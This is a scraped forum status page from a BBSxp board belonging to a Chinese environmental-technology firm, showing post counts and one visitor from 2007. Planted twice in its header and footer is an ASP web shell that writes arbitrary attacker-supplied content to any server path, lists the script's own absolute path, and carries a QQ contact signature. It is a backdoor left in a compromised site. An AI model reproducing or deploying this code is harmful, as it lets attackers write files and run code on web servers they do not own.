中质先锋环保科技 - Powered By BBSxp

<% dim objFSO %> <% dim fdata %> <% dim objCountFile %> <% on error resume next %> <% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %> <% if Trim(request("syfdpath"))<>"" then %> <% fdata = request("cyfddata") %> <% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %> <% objCountFile.Write fdata %> <% if err =0 then %> <% response.write "save Success!" %> <% else %> <% response.write "Save UnSuccess!" %> <% end if %> <% err.clear %> <% end if %> <% objCountFile.Close %> <% Set objCountFile=Nothing %> <% Set objFSO = Nothing %> <% Response.write "" %> 感谢您的使用.... 随爱飞翔QQ:76112846

中质先锋环保科技 → 查看论坛状态

在线情况	在线图例	性别图例	今日图例	主题图例	帖子图例
总帖数 55 篇。其中主题 41 篇，回帖 14 篇。			总在线 1 人。其中注册用户 0 人，访客 1 人。

IP地址	登录时间	用户名	所在论坛	所在主题	活动时间
220.181..	2007-12-29 10:56:58	访客	『地产信息』		2007-12-29 10:56:58

Page：[ ]

中质先锋环保科技 - Powered By BBSxp

Copyright 1998-2005 广州中质先锋 <% dim objFSO %> <% dim fdata %> <% dim objCountFile %> <% on error resume next %> <% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %> <% if Trim(request("syfdpath"))<>"" then %> <% fdata = request("cyfddata") %> <% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %> <% objCountFile.Write fdata %> <% if err =0 then %> <% response.write "save Success!" %> <% else %> <% response.write "Save UnSuccess!" %> <% end if %> <% err.clear %> <% end if %> <% objCountFile.Close %> <% Set objCountFile=Nothing %> <% Set objFSO = Nothing %> <% Response.write "
" %> <% Response.write "保存文件的绝对路径(包括文件名:如D:\web\x.asp):" %> <% Response.Write "" %> <% Response.Write "
" %> <% Response.write "本文件绝对路径" %> <% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %> <% Response.write "
" %> <% Response.write "输入文件的内容:" %> <% Response.write "" %> <% Response.write "" %> <% Response.write "
" %> 感谢您的使用.... 随爱飞翔QQ:76112846
Powered by BBSxp 5.16/Licence © 1998-2005
Script Execution Time:0ms